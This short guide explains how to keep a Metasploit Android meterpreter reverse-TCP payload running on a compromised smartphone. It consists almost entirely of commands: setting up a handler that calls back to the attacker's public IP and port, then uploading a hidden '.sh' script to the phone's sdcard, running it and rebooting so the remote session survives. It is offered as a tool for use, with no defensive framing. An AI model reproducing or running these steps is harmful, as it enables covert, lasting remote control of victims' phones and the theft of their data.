This script allows the persistence of the payload on Android smartphone with Metasploit.
Use Metasploit
1 - Put the msf-persistance-android.sh script in your personal folder and rename .sh
2 - Open MSF
use exploit/multi/handler
set payload android/meterpreter/reverse_tcp
set lhost YOUR IP PUBLIC
set lport THE PORT OF YOUR CHOIX
exploit
3 - Copier/Paste in a terminal in shell MSF with a session android/meterpreter/reverse_tcp
cd /
cd sdcard
upload ~/.sh
shell
cd /
cd sdcard
sh .sh
reboot
exit